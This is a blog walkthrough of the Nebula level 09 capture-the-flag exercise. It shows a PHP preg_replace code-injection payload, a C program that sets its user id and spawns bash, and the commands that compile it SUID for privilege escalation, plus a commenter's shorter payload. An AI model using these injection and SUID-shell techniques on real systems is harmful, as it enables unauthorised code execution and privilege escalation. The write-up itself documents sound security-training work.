Saturday, December 10, 2011

Exploit Exercises - Nebula 09

Challenge 09 gave me the most issues out of any other challenge so far. This may just be because I haven't touched PHP since version 3 was just coming out. However, it is based on a dangerous function, known as preg_replace(). There are several more dangerous functions, some of which can be seen here.
The challenge starts by giving us the source code of the program we will be exploiting.


What I noticed immediately, was that the program accepted 2 arguments, but never used the second one, other than to pass it into the "markup" function as "$use_me". This seemed odd, so I figured it had to do something with that. I also thought at first that the "spam" function was never being called, but then noticed it in quotes on the first line of "preg_replace" statements. I had to look this function up, and find out that it would evaluate the code at run-time. This means that I needed to inject code into that call to "spam()".

I tried doing some basic injection to try to get something equivelent to it calling:
spam("");system("/bin/bash");print("");
However this never worked, because of the PCRE modifiers built into PHP. They automatically will escape single and double quotes, as well as backticks (at least according to the docs). I spent hours trying to inject various strings to get some sort of code execution.

Somewhere along the line, I read a page (sorry I can't seem to find it again) where they mentioned using an alternative syntax to the backreferences in preg_replace. So instead of using \\2, you could use ${2}. This is covered slightly on the preg_replace php function reference. What that reference doesn't show, is that you can apparently have that not just reference parameters, but any variable in the code. After tinkering a while, I settled on a pattern. I created a file named, /tmp/level09.txt
[email {${`$use_me`}}]

Firstly, I had to start with "[email " and end with "]" to get it into this regex at all. Because of the PCRE modifiers, I used back-ticks, because in researching them, I ran across a blog post saying that back-ticks were able to bypass them somehow. So with variable expansion, and the PCRE modifier bypass, this should let me inject some code into the function.

Because running a "system()" or "exec()" method in the php caused me problems with interactivity, I opted to use commands that required no interaction at run-time. I again used my /tmp/bash_id.c file from challenge 07:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    if (argc != 2)
        printf("usage: %s <user id>\n", argv[0]);
    else {
        int i = atoi(argv[1]);
        setresuid(i, i, i);
        setresgid(i, i, i);
        system( "/bin/bash" );
    }
    return 0;
}

I then would call the compiled SUID version of the php file with 2 parameters. The first would be the text file I wanted to parse, and the second would be the commands I wanted to run, which would get inserted into the $use_me variable.
level09@nebula:/home/flag09$ ./flag09 /tmp/level09.txt "gcc -o /home/flag09/bash_id /tmp/bash_id.c;chmod +s,a+rwx /home/flag09/bash_id"
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1

This compiled my bash_id.c source file to the flag09 user's home directory, and marked it SUID. I ignored the PHP Notice, since I knew I was tinkering.

After making sure the bash_id program did get created properly, I just needed to call it with the userid of flag09 as the first parameter.
level09@nebula:/home/flag09$ ./bash_id `cat /etc/passwd | grep flag09 | cut -d : -f 3`
flag09@nebula:/home/flag09$ getflag
You have successfully executed getflag on a target account

This apparently worked, so I ran the "getflag" command as usual, marking completion of this challenge. This was by far the most guessing I've had to do on any of the challenges so far. I really hope that I don't get stuck soon, leaving me unable to continue on.

2 comments:

  1. Nice solution :) I already finished this level without backticks:

    1) You can create an exploit file with the following content:

    [email {${system($filename)}}]
    /bin/sh

    2) chmod +x ./exploit

    3) /home/flag09/flag09 /tmp/exploit

    ReplyDelete
  2. That actually works quite well. Good find!

    ReplyDelete

Popular

Recent

Comments